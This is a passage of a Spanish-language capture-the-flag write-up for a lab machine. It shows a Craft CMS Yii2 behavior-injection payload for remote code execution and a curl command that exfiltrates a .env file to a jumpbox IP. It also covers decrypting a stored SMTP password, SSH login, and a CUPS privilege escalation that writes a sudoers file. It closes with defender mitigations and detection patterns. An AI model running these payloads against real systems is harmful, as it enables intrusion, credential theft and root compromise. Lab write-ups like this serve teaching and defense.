del portal\n\n`http://portal.international.htb` aloja **Craft CMS 5.9.8**, un CMS (Content Management System) orientado a empresas, construido en PHP sobre el framework Yii2. El panel de administraci\u00f3n est\u00e1 en `/admin`.\n\nLas credenciales de Jenny permiten autenticarse en el panel admin, pero con privilegios limitados (`userIsAdmin: false`). La configuraci\u00f3n `allowAdminChanges: false` bloquea los vectores m\u00e1s obvios de SSTI (inyecci\u00f3n en Title Format de Entry Types).\n\n### 3.2 La vulnerabilidad \u2014 Inyecci\u00f3n de comportamiento Yii2\n\nEl endpoint `/index.php?p=admin/actions/element-search/search` acepta una estructura JSON que define condiciones de b\u00fasqueda de elementos en Craft. Dentro de esta estructura se pueden definir `fieldLayouts` con un array `as rce` que especifica behaviors de Yii2.\n\n**Yii2** es el framework PHP sobre el que est\u00e1 construido Craft CMS. Los **behaviors** en Yii2 son clases que extienden la funcionalidad de un componente en tiempo de ejecuci\u00f3n \u2014 una forma de composici\u00f3n en lugar de herencia. El problema: el endpoint no valida qu\u00e9 clase de behavior se instancia ni qu\u00e9 m\u00e9todos invoca.\n\nLa clase `Psy\\Readline\\Hoa\\ConsoleProcessus` es parte de PsySH (un REPL de PHP), que a su vez usa `Hoa\\Console` para ejecutar procesos del sistema. El m\u00e9todo `execute` acepta un comando como string o array y lo ejecuta.\n\nEl payload completo:\n\n```python\npayload = {\n    \"elementType\": \"craft\\\\elements\\\\Category\",\n    \"siteId\": 1,\n    \"search\": \"\",\n    \"condition\": {\n        \"class\": \"craft\\\\elements\\\\conditions\\\\ElementCondition\",\n        \"elementType\": \"craft\\\\elements\\\\Category\",\n        \"fieldLayouts\": [{\n            \"as rce\": {\n                \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n                \"__construct()\": [{\n                    \"attributeTypes\": {\n                        \"typecastBeforeSave\": [\n                            \"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\",\n                            \"execute\"\n                        ]\n                    },\n                    \"typecastBeforeSave\": [\"sh\", \"-c\", \"\"]\n                }]\n            },\n            \"on *\": \"self::beforeSave\"\n        }]\n    },\n    \"CRAFT_CSRF_TOKEN\": csrf2\n}\n```\n\nEl comando se pasa como array para que `ConsoleProcessus` lo ejecute via `exec()` de PHP sin pasar por un shell, lo que evita problemas de escape de caracteres especiales.\n\n### 3.3 Exfiltraci\u00f3n de datos via HTTP\n\nDado que el output del comando no aparece en la respuesta JSON, se exfiltra via petici\u00f3n HTTP al jumpbox (que act\u00faa como receptor):\n\n```python\n# En el jumpbox \u2014 servidor HTTP receptor\nimport http.server, threading, urllib.parse, base64\n\n# El comando en el servidor remoto\ncmd = [\"sh\", \"-c\", \"curl -s http://10.13.37.182:9999/$(cat /var/www/portal/.env | base64 -w0)\"]\n```\n\nEl servidor remoto (`10.13.37.10`) ejecuta `curl` con el output del comando codificado en base64 como path de la URL. El jumpbox recibe la petici\u00f3n y decodifica el path.\n\n### 3.4 Obtenci\u00f3n del `.env` y descifrado de credenciales\n\nEl archivo `/var/www/portal/.env` contiene la clave de seguridad del CMS:\n\n```\nCRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr\n```\n\nEn el backup SQL del CMS (obtenido via el panel de Database Backup al que Jenny tiene acceso) existe la tabla `htbairways_settings` con una contrase\u00f1a cifrada:\n\n```\nmailRelayPassword = u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0...\nmailRelayUser     = aporter\n```\n\n**Craft CMS** cifra datos sensibles usando su `Security::encryptByKey()`, que internamente usa AES-256-GCM con derivaci\u00f3n de clave via HKDF. El descifrado requiere la `CRAFT_SECURITY_KEY`:\n\n```bash\n# En el servidor del CMS (via RCE o shell)\ncd /var/www/portal\nphp -r \"\nrequire 'vendor/autoload.php';\n\\$security = new \\yii\\base\\Security();\necho \\$security->decryptByKey(\n    base64_decode('u0E7OgbBeWhhPn1HajsFMDg...'),\n    'IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr'\n);\n\"\n# Output: Skyp0rt_Relay!26\n```\n\n---\n\n## 4. Movimiento Lateral \u2014 SSH como aporter\n\nCon las credenciales descifradas (`aporter / Skyp0rt_Relay!26`) se obtiene acceso SSH directo al servidor del CMS desde el jumpbox:\n\n```bash\nsshpass -p 'Skyp0rt_Relay!26' ssh -o StrictHostKeyChecking=no aporter@10.13.37.10\n```\n\n```\naporter@portal:~$ cat user.txt\n04eb9d0058a80fa297137fbf4741f0ce\n```\n\nEl usuario `aporter` no tiene acceso `sudo` ni pertenece a grupos privilegiados. La enumeraci\u00f3n post-acceso identifica que `cupsd` (el demonio de CUPS) est\u00e1 corriendo como root en `localhost:631`.\n\n---\n\n## 5. Escalada de Privilegios \u2014 CVE-2026-34990 (CUPS 2.4.16)\n\n### 5.1 \u00bfQu\u00e9 es CUPS?\n\n**CUPS** (Common Unix Printing System) es el sistema de impresi\u00f3n est\u00e1ndar en Linux y macOS. El demonio `cupsd` gestiona impresoras, colas de impresi\u00f3n y trabajos. Corre como root porque necesita acceso directo a dispositivos de hardware y escritura en directorios del sistema.\n\n### 5.2 La vulnerabilidad\n\n**CVE-2026-34990** afecta espec\u00edficamente a CUPS 2.4.16. El sistema tiene dos mecanismos de autenticaci\u00f3n relevantes:\n\n1. **CUPS-Create-Local-Printer**: Una operaci\u00f3n IPP que crea una impresora temporal. Por dise\u00f1o, **no requiere autenticaci\u00f3n de administrador** \u2014 cualquier usuario local puede invocarla. La impresora creada apunta a un `device-uri` que puede ser una URL IPP.\n\n2. **Token `Authorization: Local`**: Cuando `cupsd` necesita validar una impresora temporal contra el `device-uri` especificado, hace una conexi\u00f3n IPP saliente a esa URI. Si la URI apunta a un servicio en localhost que responde con `WWW-Authenticate: Local trc=\"y\"`, cupsd responde incluyendo su token de autenticaci\u00f3n local en el header `Authorization: Local `.\n\n3. **El token es reutilizable**: Cualquier petici\u00f3n a `/admin/` en localhost que incluya ese token es aceptada como autenticada con permisos de administrador de CUPS.\n\n4. **File:// bypass**: La ruta normal de CUPS rechaza URIs `file://` en impresoras persistentes (la pol\u00edtica `FileDevice` lo bloquea). El bypass es crear primero una impresora temporal con el URI `file:///ruta/archivo` y luego hacerla permanente usando `OP_ADD_MODIFY_PRINTER` con `printer-is-temporary=false` sin re-especificar el `device-uri` \u2014 en este punto ya no se valida la pol\u00edtica.\n\n5. **Escritura arbitraria como root**: Al imprimir un trabajo en esa impresora, `cupsd` abre el archivo destino con `O_WRONLY|O_CREAT|O_TRUNC` corriendo como root, escribiendo el contenido del job.\n\n### 5.3 Cadena de explotaci\u00f3n\n\n```\nUsuario local sin privilegios\n    \u2193 CUPS-Create-Local-Printer \u2192 impresora temporal con device-uri=ipp://localhost:9189/\n    \u2193 cupsd conecta a 9189 para validar\n    \u2193 Servidor captura Authorization: Local \n    \u2193 Con TOKEN \u2192 OP_ADD_MODIFY_PRINTER \u2192 impresora permanente con file:///etc/sudoers.d/aporter-pwn\n    \u2193 Print-Job \u2192 cupsd escribe como root el contenido del job\n    \u2193 Contenido: \"aporter ALL=(ALL) NOPASSWD: ALL\"\n    \u2193 sudo -n bash \u2192 root\n```\n\n### 5.4 Ejecuci\u00f3n\n\n```bash\npython3 /tmp/cups_root.py\n```\n\n```\n[+] Local token: 8A8B4991E5C14CEA069BA9824C9C85FB\n[*] step 1: write sudoers fragment\n    [sw] queue add 0x0000 / print HTTP 200 0x0000\n    [sw] queue add 0x0000 / print HTTP 200 0x0000\n    [...]\n[*] sudo -n id -> rc_ok=True :: uid=0(root) gid=0(root) groups=0(root)\n[+] ROOT via sudoers\n```\n\n```bash\nsudo cat /root/root.txt\n# fa8b0a8cbb1d1100efe369bc89196c5a\n```\n\n---\n\n## 6. Rabbit Holes\n\n**SSH con las credenciales de contractor** \u2014 El servidor solo acepta autenticaci\u00f3n por llave p\u00fablica para SSH. Intentar autenticarse por contrase\u00f1a siempre falla con `Permission denied (publickey,password)`. El acceso inicial correcto es RDP.\n\n**Crackear el hash bcrypt del admin de Craft** \u2014 El hash del administrador (`$2y$13$ZdTZwteklJx...`) con bcrypt cost factor 13 tardar\u00eda aproximadamente 8 d\u00edas en una CPU de doce n\u00facleos contra rockyou.txt. No es el camino. Las credenciales necesarias se obtienen descifrando el `mailRelayPassword` con la `CRAFT_SECURITY_KEY`.\n\n**CVE-2024-47176 (cups-browsed)** \u2014 Esta variante del ataque a CUPS requiere el demonio `cups-browsed` corriendo, que escucha por UDP en el puerto 631. En este sistema, `cups-browsed` no est\u00e1 instalado. Solo corre `cupsd`.\n\n**Reverse shell directa** \u2014 El servidor `10.13.37.10` no tiene salida directa a la IP del atacante en `tun0`. Solo puede conectar al jumpbox en `10.13.37.182`. Los intentos de reverse shell hacia la IP de HTB fallan silenciosamente.\n\n---\n\n## 7. Lecciones para Defenders\n\n**Red WiFi sin cifrado**\nEl sniffing fue posible porque la red no usa WPA2/WPA3. Cualquier cliente en modo monitor puede capturar todo el tr\u00e1fico. La autenticaci\u00f3n HTTP sin TLS sobre esta red expone credenciales en texto claro.\n- Mitigaci\u00f3n: WPA3-Enterprise con certificados; TLS obligatorio en todas las aplicaciones internas aunque la red sea \"corporativa\".\n- Detecci\u00f3n: Monitorear clientes en modo monitor via 802.11 management frames (Probe Requests con capabilities que indican monitor mode, ausencia de Association Requests).\n\n**Inyecci\u00f3n de comportamiento en Craft CMS**\nEl endpoint `element-search/search` acepta clases PHP arbitrarias en la definici\u00f3n de condiciones sin sanitizar. Esto no requiere ser administrador \u2014 cualquier usuario con acceso al panel admin puede explotarlo.\n- Mitigaci\u00f3n: Actualizar a Craft CMS 5.9.9+ donde se limita la instanciaci\u00f3n de clases en contextos de b\u00fasqueda.\n- Detecci\u00f3n: Alertas en el WAF para requests a `/admin/actions/element-search/search` con payloads que contengan `__class`, `ConsoleProcessus` o `AttributeTypecastBehavior`.\n\n**Contrase\u00f1a de relay SMTP cifrada pero recuperable**\nEl cifrado de la contrase\u00f1a en la base de datos est\u00e1 bien implementado, pero la clave de descifrado (`CRAFT_SECURITY_KEY`) vive en un archivo `.env` en el mismo servidor. Un atacante con RCE puede leer ambos y reconstruir la credencial.\n- Mitigaci\u00f3n: Separar la gesti\u00f3n de secretos del servidor de aplicaci\u00f3n (HashiCorp Vault, AWS Secrets Manager). El servidor de aplicaci\u00f3n obtiene el secreto en tiempo de ejecuci\u00f3n sin que quede en disco.\n\n**CUPS 2.4.16 \u2014 escritura arbitraria como root**\nLa operaci\u00f3n `CUPS-Create-Local-Printer` no requiere autenticaci\u00f3n admin y permite crear impresoras con URIs arbitrarios, incluidos `file://`. El token de autenticaci\u00f3n local de CUPS es captu-rable por cualquier proceso local.\n- Mitigaci\u00f3n: Actualizar a CUPS 2.4.17+ donde se elimin\u00f3 el soporte para `file://` en colas de impresi\u00f3n y se restringe el uso de certificados locales sobre la interfaz de loopback.\n- Detecci\u00f3n: Monitorear conexiones salientes desde `cupsd` a puertos no est\u00e1ndar en localhost; alertar sobre escrituras en `/etc/sudoers.d/` y `/etc/cron.d/` por parte del proceso `cupsd`.\n\n---\n\n## 8. TTPs (MITRE ATT&CK)\n\n| ID | T\u00e9cnica | C\u00f3mo se us\u00f3 |\n|----|---------|-------------|\n| T1021.001 | Remote Services: Remote Desktop Protocol | Acceso inicial al jumpbox via RDP con credenciales provistas |\n| T1078 | Valid Accounts | Uso de credenciales de contractor para acceso inicial |\n| T1040 | Network Sniffing | Captura de credenciales de Jenny via tshark en wlan3 en modo monitor |\n| T1190 | Exploit Public-Facing Application | RCE en Craft CMS via inyecci\u00f3n de behavior Yii2 |\n| T1552.001 | Unsecured Credentials: Credentials In Files | Lectura de CRAFT_SECURITY_KEY del .env |\n| T1140 | Deobfuscate/Decode Files or Information | Descifrado de mailRelayPassword con la security key de Craft |\n| T1068 | Exploitation for Privilege Escalation | CVE-2026-34990 en CUPS 2.4.16 para escritura arbitraria como root |\n| T1548.003 | Abuse Elevation Control Mechanism: Sudo and Sudo Caching | Escritura de fragmento sudoers via CUPS para obtener sudo sin contrase\u00f1a |\n\n---\n\n*Vortek Offensive \u2014 vortekoffensive.com*\n", "creation_timestamp": "2026-09-28T06:10:27.000000Z"}]}